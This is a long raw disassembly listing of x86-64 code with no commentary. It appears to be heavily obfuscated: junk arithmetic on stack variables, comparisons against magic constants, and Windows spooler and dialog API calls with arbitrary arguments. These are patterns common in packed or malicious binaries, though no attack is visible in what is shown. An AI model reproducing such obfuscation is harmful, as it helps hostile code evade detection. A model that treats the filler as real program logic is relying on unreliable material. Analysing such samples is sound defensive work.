mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
movzx eax, word [0x1401cc018]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14e4], ax
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e00]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8de0]
mov ecx, dword [rsp + 0x4de8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d4]
add eax, ecx
mov word [0x1401cc018], ax
mov eax, dword [rsp + 0x4d54]
mov ecx, dword [rsp + 0x4dc4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4840], eax
jmp 0x14000d2f7
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d4]
add eax, ecx
mov word [rsp + 0x14cc], ax
movsx eax, word [rsp + 0x14e8]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dc]
sub eax, ecx
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [0x1401cc018]
sub eax, ecx
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8c08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x8c58]
mov rcx, qword [rsp + 0x8d18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c60]
mov rcx, qword [rsp + 0x8d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x8be8]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1401cc010], rax
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1ce], al
mov eax, dword [rsp + 0x4d90]
add eax, 0x61
mov dword [rsp + 0x4d90], eax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1df], al
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
movzx eax, word [rsp + 0x14d4]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x121c], ax
cmp dword [rsp + 0x4d90], 0x55ab
jbe 0x14000d7d0
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov qword [rsp + 0x8eb0], rax
cmp qword [rsp + 0x8eb0], 0
je 0x14000d998
jmp 0x14000dae9
movsx eax, word [rsp + 0x14e8]
movsx ecx, word [rsp + 0x14d0]
sub eax, ecx
mov word [rsp + 0x14dc], ax
movzx eax, word [rsp + 0x14e4]
movzx ecx, word [rsp + 0x121c]
and eax, ecx
movzx ecx, word [rsp + 0x14cc]
movzx edx, word [rsp + 0x14d4]
sub ecx, edx
cmp eax, ecx
jg 0x14000dae4
movzx eax, word [rsp + 0x14cc]
mov dword [rsp + 0x4e10], eax
cmp dword [rsp + 0x4e10], 0
je 0x14000da0d
cmp dword [rsp + 0x4e10], 0x7eb
je 0x14000dac8
jmp 0x14000dae4
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x8be8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov rdx, qword [rsp + 0x8bf8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jbe 0x14000daa7
mov rax, qword [rsp + 0x8d10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8be8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ca0], rax
lea r9, [rsp + 0x26ed0]
mov r8d, 0x4e
mov edx, 0x6b
mov rcx, qword [rsp + 0x8cb0]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x8bb8], rax
mov rax, qword [rsp + 0x8d18]
mov ecx, dword [rsp + 0x4da0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8d18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4840]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
jmp 0x14000dae4
movsx eax, word [rsp + 0x14d8]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cd714], ax
jmp 0x14000dbe7
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4dd8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov edx, dword [rsp + 0x4dfc]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jbe 0x14000db86
movzx eax, byte [rsp + 0x180]
mov byte [rsp + 0x4e14], al
cmp byte [rsp + 0x4e14], 0x4d
je 0x14000db68
cmp byte [rsp + 0x4e14], 0xc7
je 0x14000db38
jmp 0x14000db84
lea r9, [rsp + 0x4da0]
mov r8d, 0xc5
mov edx, 0xaf
mov rcx, qword [rsp + 0x8e68]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x8eb8], rax
call fcn.1401b3bf0
nop
jmp 0x14000db84
movzx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1ce], al
jmp 0x14000dbe7
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
mov dword [rsp + 0x4e18], ecx
mov rdx, qword [rsp + 0x8d78]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x4e18]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14000dbe7
movzx eax, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x14d4]
and eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov dword [rsp + 0x4e1c], eax
cmp dword [rsp + 0x4e1c], 0
je 0x14000dc18
cmp dword [rsp + 0x4e1c], 0x756c9dae
je 0x1401b20eb
jmp 0x1401b2211
mov rax, qword [rsp + 0x8df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4dc4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8de0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x180]
shl eax, cl
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1df]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1dd], al
movsx eax, word [rsp + 0x14d8]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [rsp + 0x1e0]
and eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
sub eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
mov eax, dword [rsp + 0x4dec]
sub eax, 0x92
mov dword [rsp + 0x4dec], eax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4da0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4dd8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8df8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e00]
and rcx, rax
mov rax, rcx
mov qword [0x1401cc010], rax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c08], rax
movzx eax, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x14e4]
sub eax, ecx
mov word [rsp + 0x14cc], ax
movzx eax, byte [rsp + 0x1e0]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov byte [rsp + 0x180], al
movsx eax, word [rsp + 0x14c8]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14d8], ax
movsx eax, word [rsp + 0x14dc]
movsx ecx, word [rsp + 0x14ec]
or eax, ecx
mov word [rsp + 0x14e8], ax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0x8df8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4dfc]
shl eax, cl
mov dword [rsp + 0x4dd8], eax
mov eax, dword [rsp + 0x4d00]
mov rcx, qword [rsp + 0x8d18]
mov qword [rsp + 0x8ec0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ec0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8e58]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401cc010], rax
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x8c08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dc]
add eax, ecx
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14d4], ax
movzx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8e20]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d54]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8df8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8de0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4de8]
sar eax, cl
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
shl eax, cl
mov rcx, qword [rsp + 0x8d00]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x14cc], ax
cmp dword [rsp + 0x4dec], 0xa2f0
jae 0x14000dc18
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1df]
and eax, ecx
movsx ecx, byte [rsp + 0x1dc]
movsx edx, byte [rsp + 0x1de]
add ecx, edx
cmp eax, ecx
jge 0x14000e07f
movsx eax, word [rsp + 0x14d0]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14dc], ax
cmp dword [rsp + 0x4e08], 0xe134
jbe 0x14000e50d
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14e0]
sub eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8be8]
mov rcx, qword [rsp + 0x8ca0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4da0]
mov ecx, dword [0x1401cd710]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e20]
mov rcx, qword [rsp + 0x8c98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [rsp + 0x8df8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4d54], eax
movsx eax, word [rsp + 0x14d8]
movsx ecx, word [rsp + 0x14c4]
sub eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x14cc]
or eax, ecx
mov word [rsp + 0x14e4], ax
movzx eax, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x14e4]
sar eax, cl
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8c98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov eax, dword [0x1401cc01c]
mov ecx, dword [rsp + 0x4d18]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8dd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d08]
mov ecx, dword [rsp + 0x4840]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4cf0], eax
movzx eax, byte [rsp + 0x1e0]
movzx ecx, byte [rsp + 0x1db]
sub eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1dd], al
movzx eax, word [rsp + 0x14cc]
movzx ecx, word [rsp + 0x121c]
add eax, ecx
mov word [rsp + 0x14d4], ax
movzx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1db], al
movsx eax, word [rsp + 0x14dc]
movsx ecx, word [rsp + 0x14d8]
sub eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8be8]
movzx ecx, al
mov rax, qword [rsp + 0x8dd8]
shl rax, cl
mov rcx, qword [rsp + 0x8d10]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e08]
sub eax, 0xda
mov dword [rsp + 0x4e08], eax
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8c08]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d18]
mov rcx, qword [rsp + 0x8c58]
mov qword [rsp + 0x8ec8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ec8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1df]
movsx ecx, byte [rsp + 0x1de]
or eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov byte [rcx], al
movsx eax, word [rsp + 0x14e8]
movsx ecx, word [rsp + 0x14e0]
sub eax, ecx
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1dc], al
movzx eax, word [rsp + 0x14e4]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movsx eax, word [rsp + 0x14c4]
movsx ecx, word [rsp + 0x14dc]
add eax, ecx
mov word [rsp + 0x14c8], ax
mov eax, dword [rsp + 0x4dfc]
mov ecx, dword [rsp + 0x4cf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dd8], eax
mov rax, qword [rsp + 0x8d18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4de8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8be8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8e20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
movzx eax, word [rsp + 0x14d4]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1de]
add eax, ecx
mov byte [rsp + 0x1df], al
movzx eax, byte [0x1401cc008]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1e0], al
jmp 0x14000e07f
mov eax, dword [rsp + 0x4d18]
mov dword [rsp + 0x4e20], eax
cmp dword [rsp + 0x4e20], 0
je 0x14000e53b
cmp dword [rsp + 0x4e20], 0x61e5759e
je 0x1401b2012
jmp 0x1401b20b5
mov rax, qword [rsp + 0x8d10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e00]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8e70]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1401b1e7d
mov rax, qword [rsp + 0x8d18]
mov eax, dword [rax]
mov dword [rsp + 0x4e24], eax
mov rax, qword [rsp + 0x8df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x4e28], eax
cmp dword [rsp + 0x4e28], 0
je 0x14000e5d0
cmp dword [rsp + 0x4e28], 0x68c3290b
je 0x14000e61f
jmp 0x14000e6d9
lea rax, [rsp + 0x180]
mov qword [0x1401cd718], rax
lea rax, [rsp + 0x8be8]
mov qword [rsp + 0x8ed0], rax
lea rax, [0x1401cc018]
mov qword [rsp + 0x8ed8], rax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x180], al
jmp 0x14000e6d9
mov r8w, 0xbf
mov rdx, qword [rsp + 0x8e88]
mov rcx, qword [rsp + 0x8e88]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0x14f0], ax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc008]
and eax, ecx
mov byte [rsp + 0x1db], al
movsx eax, word [rsp + 0x14c4]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ed8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14cc], ax
lea rax, [rsp + 0x26be0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x53
lea r9, [rsp + 0x8c38]
mov r8d, 0x9b
mov edx, 0xc1
mov rcx, qword [rsp + 0x8bb0]
call sub.WINSPOOL.DRV_GetJobA
mov dword [rsp + 0x4e2c], eax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c98], rax
cmp dword [rsp + 0x4d64], 0x15a1
je 0x14000ea4d
mov rax, qword [rsp + 0x8c80]
mov rcx, qword [rsp + 0x8c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8d18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8ca0]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1401cc010], rax
mov eax, dword [rsp + 0x4dd8]
mov ecx, dword [rsp + 0x4dfc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dc4], eax
movsx eax, word [rsp + 0x14e0]
movsx ecx, word [rsp + 0x14ec]
shl eax, cl
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1ce], al
movsx eax, byte [rsp + 0x1df]
movsx ecx, byte [rsp + 0x1dc]
and eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d30]
movzx eax, word [rax]
mov word [rsp + 0x14f0], ax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dc]
add eax, ecx
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0x8c58]
mov ecx, dword [rsp + 0x4e24]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4de8], eax
mov rax, qword [rsp + 0x8d58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8dd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cd718]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c60]
mov rcx, qword [rsp + 0x8df8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov dword [rcx], eax
movzx eax, word [rsp + 0x14cc]
mov rcx, qword [rsp + 0x8ed8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14e4], ax
movsx eax, word [rsp + 0x14f0]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14c8], ax
movzx eax, byte [0x1401cc008]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1db], al
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x14cc]
sub eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
mov eax, dword [rsp + 0x4d64]
add eax, 0xa
mov dword [rsp + 0x4d64], eax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1dd], al
movsx eax, byte [rsp + 0x1de]
movsx ecx, byte [rsp + 0x1dd]
or eax, ecx
mov byte [rsp + 0x1df], al
mov eax, dword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x8df8]
mov qword [rsp + 0x8ee0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ee0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0x8d18]
mov ecx, dword [rsp + 0x4d18]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1401cc01c], eax
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d10]
mov rax, qword [rax]
mov rcx, qword [0x1401cc010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8dd8], rax
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14e8]
add eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14e4]
sub eax, ecx
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ed8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14d4], ax
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14d0], ax
jmp 0x14000e6fa
mov eax, dword [rsp + 0x4dc4]
mov dword [rsp + 0x4e30], eax
cmp dword [rsp + 0x4e30], 0
je 0x14000ea7b
cmp dword [rsp + 0x4e30], 0x84aa587e
je 0x14000eb04
jmp 0x14000ec13
lea rax, [rsp + 0x4cf0]
mov qword [rsp + 0x8ee8], rax
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401cc020], rax
mov rax, qword [rsp + 0x8d40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e20]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
lea rax, [rsp + 0x8e70]
mov qword [rsp + 0x8ef0], rax
mov rax, qword [rsp + 0x8c58]
mov rcx, qword [rsp + 0x8c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8de0]
mov dword [rcx], eax
jmp 0x14000ec13
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
shl eax, cl
